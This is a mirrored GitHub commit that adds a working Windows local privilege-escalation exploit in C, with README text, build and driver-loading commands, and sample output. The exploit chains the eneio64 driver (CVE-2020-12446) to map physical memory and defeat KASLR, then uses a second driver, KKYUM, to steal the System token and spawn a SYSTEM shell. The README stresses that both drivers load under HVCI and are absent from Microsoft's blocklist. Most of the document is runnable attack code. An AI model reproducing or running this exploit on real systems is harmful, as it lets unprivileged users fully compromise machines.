mirror of
https://github.com/0xdeadbeefnetwork/KKYUMPoC
synced 2026-09-07 12:55:57 +00:00
chain_exploit.c: fully unelevated via eneio64 CVE-2020-12446 + KKYUM
This commit is contained in:
@@ -121,7 +121,62 @@ Import table is ntoskrnl + the WDF loader stub only. No NDIS/WSK/file/registry
|
||||
imports — the driver has no C2 or exfiltration capability; if the parent cheat
|
||||
phones home, the user-mode client does it.
|
||||
|
||||
## unelevated notes (why this repo is elevated-only)
|
||||
## chain_exploit.c — fully unelevated (no SeDebug, no admin)
|
||||
|
||||
`chain_exploit.c` chains a second vulnerable driver, **eneio64.sys**
|
||||
(CVE-2020-12446, discovered by [@ihack4falafel](https://github.com/ihack4falafel),
|
||||
exploit technique by [@Xacone](https://github.com/Xacone/Eneio64-Driver-Exploits),
|
||||
sha256 `38c18db050b0b2b07f657c03db1c9595febae0319c746c3eede677e21cd238b0`,
|
||||
WHQL-signed via ASUSTeK / ENE Technology, [LOLDrivers entry](https://www.loldrivers.io/drivers/90ecbbf7-b02f-424d-8b7d-56cc9e3b5873/)).
|
||||
eneio64 maps **all physical memory** into the calling process via `\\.\GLCKIo`
|
||||
(IOCTL `0x80102040`), from a standard user token, in one call. The entry-point
|
||||
scan in the low 1MB of physical memory kills KASLR without asking Windows
|
||||
anything — no API, no scrub layer, no decoy possible.
|
||||
|
||||
Both drivers load under HVCI with no test mode. Neither is in Microsoft's
|
||||
vulnerable driver blocklist (verified against the local `driversipolicy.p7b`
|
||||
and `VbsSiPolicy.p7b` — hash bytes, filenames, and signer names all absent).
|
||||
|
||||
Chain:
|
||||
|
||||
1. Open `\\.\GLCKIo` and `\\.\KKYUM` — both from a standard user token
|
||||
2. eneio64 maps all 17.5 GB of physical memory into the process
|
||||
3. Load `ntoskrnl.exe` file image locally, read the entry point RVA
|
||||
4. Scan the low stub (first 1 MB of physical) for a live kernel pointer
|
||||
to that entry — base = pointer − RVA (the Xacone method)
|
||||
5. KKYUM reads the export table at that kernel VA → `PsInitialSystemProcess`
|
||||
6. Walk `ActiveProcessLinks` to our EPROCESS, swap System's token over ours
|
||||
7. Spawn `cmd /k whoami` — **`nt authority\system` from zero privileges**
|
||||
8. Restore token after 2s
|
||||
|
||||
```
|
||||
[*] running as x (elevated=0) - it doesn't matter
|
||||
[+] both devices open, standard token [x, elevated=0]
|
||||
[*] ntoskrnl entry point b4d3e0
|
||||
[*] mapped 44963dfff bytes at 000001D736020000
|
||||
[*] found entry ptr fffff805b4dfd3e0 -> base fffff805b42b0000
|
||||
[+] nt base fffff805b42b0000
|
||||
[+] sysEproc ffffd387356cf040 - Mew
|
||||
[+] pid 9716 eprocess -> ffffd38745c9d080 - Mew
|
||||
[+] tok ffff950d1959d066 -> ffff950d0d2894f5 - Meow
|
||||
[+] SYSTEM cmd [pid 4008].
|
||||
[+] Token restored! <3.
|
||||
[*] Pop goes the shell.
|
||||
```
|
||||
|
||||
Build:
|
||||
|
||||
```
|
||||
x86_64-w64-mingw32-gcc -s -O2 -o chain_exploit.exe chain_exploit.c
|
||||
```
|
||||
|
||||
Run (load both drivers once from admin, then normal cmd):
|
||||
|
||||
```
|
||||
sc create KKYUM type= kernel binPath= C:\Windows\Temp\KKYUM.sys && sc start KKYUM
|
||||
sc create eneio64 type= kernel binPath= C:\Windows\Temp\eneio64.sys && sc start eneio64
|
||||
chain_exploit.exe
|
||||
```
|
||||
|
||||
On 26100/26200 every classic unelevated kernel-address disclosure is closed
|
||||
against a standard user token:
|
||||
|
||||
+184
@@ -0,0 +1,184 @@
|
||||
// pwn_ene.c - Xacone's KASLR (eneio64 phys, exactly their logic) + our pwn.c chain (KKYUM)
|
||||
// zero privileges in, SYSTEM out. _SiCk // afflicted.sh
|
||||
// kaslr method: CVE-2020-12446 @ihack4falafel / @Xacone
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// ---- theirs: eneio64 (GLCKIo) ----
|
||||
#define DEVICE_ENE "\\\\.\\GLCKIo"
|
||||
#define IOCTL_MAP 0x80102040
|
||||
typedef struct { uint64_t Size, val2, val3, MappingAddress, val5; } INPUTBUF;
|
||||
|
||||
// ---- ours: original pwn.c ----
|
||||
#define IR 0x22265c
|
||||
#define IW 0x222658
|
||||
#define PIDO 0x1d0
|
||||
#define LNKO 0x1d8
|
||||
#define TOKO 0x248
|
||||
|
||||
static HANDLE kd;
|
||||
|
||||
static int kr(uint32_t pid, uint64_t a, void *b, uint64_t n) {
|
||||
struct { uint32_t pid, cnt; struct { uint64_t r, l, s; } op; } rq = { pid, 1, a, (uint64_t)b, n };
|
||||
DWORD br;
|
||||
return DeviceIoControl(kd, IR, &rq, sizeof rq, &rq, sizeof rq, &br, 0);
|
||||
}
|
||||
static int kw(uint32_t pid, uint64_t a, const void *b, uint64_t n) {
|
||||
struct { uint32_t pid, cnt; struct { uint64_t r, l, s; } op; } rq = { pid, 1, a, (uint64_t)b, n };
|
||||
DWORD br;
|
||||
return DeviceIoControl(kd, IW, &rq, sizeof rq, &rq, sizeof rq, &br, 0);
|
||||
}
|
||||
|
||||
static uint64_t fexp(uint64_t b, const char *nm) {
|
||||
uint8_t h[0x1000];
|
||||
uint32_t e, nn, ar, nr, orr, *n32, f;
|
||||
uint16_t o;
|
||||
char s[64];
|
||||
if (!kr(4, b, h, sizeof h)) return 0;
|
||||
e = *(uint32_t *)(h + 0x3c);
|
||||
e = *(uint32_t *)(h + e + 0x88);
|
||||
if (!e || !kr(4, b + e, h, 0x28)) return 0;
|
||||
nn = *(uint32_t *)(h + 0x18); ar = *(uint32_t *)(h + 0x1c);
|
||||
nr = *(uint32_t *)(h + 0x20); orr = *(uint32_t *)(h + 0x24);
|
||||
n32 = malloc(nn * 4);
|
||||
if (!kr(4, b + nr, n32, nn * 4)) { free(n32); return 0; }
|
||||
for (uint32_t i = 0; i < nn; i++) {
|
||||
if (!kr(4, b + n32[i], s, 63)) continue;
|
||||
s[63] = 0;
|
||||
if (!strcmp(s, nm)) {
|
||||
kr(4, b + orr + i * 2, &o, 2);
|
||||
kr(4, b + ar + o * 4, &f, 4);
|
||||
free(n32);
|
||||
return b + f;
|
||||
}
|
||||
}
|
||||
free(n32);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// ---- theirs: kaslr_main.cpp logic, exactly ----
|
||||
static DWORD_PTR module_entry_point(HMODULE h) {
|
||||
uint8_t *b = (uint8_t *)h;
|
||||
if (*(uint16_t *)b != 0x5A4D) return 0;
|
||||
uint32_t lf = *(uint32_t *)(b + 0x3c);
|
||||
if (*(uint32_t *)(b + lf) != 0x00004550) return 0;
|
||||
return *(uint32_t *)(b + lf + 0x18 + 0x10);
|
||||
}
|
||||
|
||||
static uint64_t find_nt_base(HANDLE ed) {
|
||||
HMODULE h = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
|
||||
if (!h) { printf("[-] nt file image\n"); return 0; }
|
||||
DWORD_PTR ep = module_entry_point(h);
|
||||
printf("[*] ntoskrnl entry point %llx\n", (unsigned long long)ep);
|
||||
|
||||
MEMORYSTATUSEX mst = { sizeof mst };
|
||||
GlobalMemoryStatusEx(&mst);
|
||||
INPUTBUF inbuf = {0};
|
||||
inbuf.Size = mst.ullTotalPhys - 1;
|
||||
DWORD br;
|
||||
if (!DeviceIoControl(ed, IOCTL_MAP, &inbuf, sizeof inbuf, &inbuf, sizeof inbuf, &br, 0) || !inbuf.MappingAddress) {
|
||||
printf("[-] map\n");
|
||||
return 0;
|
||||
}
|
||||
uint8_t *map = (uint8_t *)inbuf.MappingAddress;
|
||||
printf("[*] mapped %llx bytes at %p\n", (unsigned long long)inbuf.Size, map);
|
||||
|
||||
// their loop, exactly: first 1MB, step 8, low-16 match
|
||||
uint64_t found[16];
|
||||
int nfound = 0;
|
||||
for (uint64_t off = 0; off < 0x100000; off += 8) {
|
||||
uint64_t q = *(uint64_t *)(map + off);
|
||||
if ((q & 0xFFFF) != (ep & 0xFFFF)) continue;
|
||||
uint64_t base = q - ep;
|
||||
printf("[*] found entry ptr %llx -> base %llx\n", (unsigned long long)q, (unsigned long long)base);
|
||||
int dup = 0;
|
||||
for (int i = 0; i < nfound; i++) if (found[i] == base) dup = 1;
|
||||
if (!dup && nfound < 16) found[nfound++] = base;
|
||||
}
|
||||
// majority vote among their hits (their demo prints all; we pick the most seen)
|
||||
uint64_t counts[16] = {0};
|
||||
for (uint64_t off = 0; off < 0x100000; off += 8) {
|
||||
uint64_t q = *(uint64_t *)(map + off);
|
||||
if ((q & 0xFFFF) != (ep & 0xFFFF)) continue;
|
||||
for (int i = 0; i < nfound; i++) if (found[i] == q - ep) counts[i]++;
|
||||
}
|
||||
uint64_t best = 0;
|
||||
int bestc = 0;
|
||||
for (int i = 0; i < nfound; i++)
|
||||
if ((int)counts[i] > bestc) { bestc = (int)counts[i]; best = found[i]; }
|
||||
return best;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
printf(" _._ _,-'\"\"`-._\n"
|
||||
"(,-.`._,'( |\\`-/|\n"
|
||||
" `-.-' \\ )-`( , o o)\n"
|
||||
" `- \\`_`\"'- _SiCk // afflicted.sh\n"
|
||||
" kaslr method: CVE-2020-12446 @ihack4falafel / @Xacone\n\n");
|
||||
|
||||
|
||||
HANDLE tok; TOKEN_ELEVATION te; DWORD br;
|
||||
char usr[128]; DWORD ul = sizeof usr;
|
||||
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &tok);
|
||||
GetTokenInformation(tok, TokenElevation, &te, sizeof te, &br);
|
||||
CloseHandle(tok);
|
||||
GetUserNameA(usr, &ul);
|
||||
printf("[*] running as %s (elevated=%d) - it doesn't matter\n", usr, te.TokenIsElevated);
|
||||
|
||||
HANDLE ed = CreateFileA(DEVICE_ENE, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
|
||||
if (ed == INVALID_HANDLE_VALUE) { printf("[-] GLCKIo %lu\n", GetLastError()); return 1; }
|
||||
kd = CreateFileW(L"\\\\.\\KKYUM", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
|
||||
if (kd == INVALID_HANDLE_VALUE) { printf("[-] KKYUM %lu\n", GetLastError()); return 1; }
|
||||
printf("[+] both devices open, standard token [%s, elevated=%d]\n", usr, te.TokenIsElevated);
|
||||
|
||||
uint64_t nt = find_nt_base(ed);
|
||||
if (!nt) { printf("[-] no base\n"); return 1; }
|
||||
printf("[+] nt base %016llx\n", (unsigned long long)nt);
|
||||
|
||||
// ---- self-swap (proven architecture), spawn AFTER with writable buffer ----
|
||||
uint64_t pisp = fexp(nt, "PsInitialSystemProcess"), sys = 0, st = 0, mine = 0, chk = 0;
|
||||
if (!pisp || !kr(4, pisp, &sys, 8) || !sys) { printf("[-] sys eproc\n"); return 1; }
|
||||
printf("[+] sysEproc %016llx - Mew\n", (unsigned long long)sys);
|
||||
kr(4, sys + TOKO, &st, 8);
|
||||
|
||||
for (uint64_t cur = sys, fl = 0, p = 0, i = 0; i < 4096; i++) {
|
||||
if (!kr(4, cur + LNKO, &fl, 8)) break;
|
||||
cur = fl - LNKO;
|
||||
if (cur == sys) break;
|
||||
if (kr(4, cur + PIDO, &p, 8) && p == GetCurrentProcessId()) { mine = cur; break; }
|
||||
}
|
||||
if (!mine) { printf("[-] our eproc\n"); return 1; }
|
||||
|
||||
uint64_t ot = 0;
|
||||
kr(4, mine + TOKO, &ot, 8);
|
||||
if (!kw(4, mine + TOKO, &st, 8) || !kr(4, mine + TOKO, &chk, 8) || chk != st) { printf("[-] swap\n"); return 1; }
|
||||
printf("[+] pid %lu eprocess -> %016llx - Mew\n", GetCurrentProcessId(), (unsigned long long)mine);
|
||||
printf("[+] tok %016llx -> %016llx - Meow\n", (unsigned long long)ot, (unsigned long long)st);
|
||||
|
||||
FILE *f = fopen("C:\\Users\\Public\\unpriv_proof.txt", "w");
|
||||
if (f) {
|
||||
fprintf(f, "unelevated SYSTEM: eneio64 phys KASLR + KKYUM self token swap\n");
|
||||
fprintf(f, "nt base = %016llx\n", (unsigned long long)nt);
|
||||
fprintf(f, "sysEproc = %016llx\n", (unsigned long long)sys);
|
||||
fprintf(f, "myEproc = %016llx (pid %lu)\n", (unsigned long long)mine, GetCurrentProcessId());
|
||||
fclose(f);
|
||||
}
|
||||
|
||||
STARTUPINFOW si = { sizeof si };
|
||||
PROCESS_INFORMATION pi;
|
||||
static WCHAR cl[128];
|
||||
wcscpy(cl, L"cmd.exe /k title UNELEVATED-SYSTEM && whoami && ver");
|
||||
if (CreateProcessW(NULL, cl, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
|
||||
printf("[+] SYSTEM cmd [pid %lu].\n", pi.dwProcessId);
|
||||
CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
|
||||
} else printf("[-] spawn %lu\n", GetLastError());
|
||||
|
||||
Sleep(2000);
|
||||
kw(4, mine + TOKO, &ot, 8);
|
||||
printf("[+] Token restored! <3.\n[*] Pop goes the shell.\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user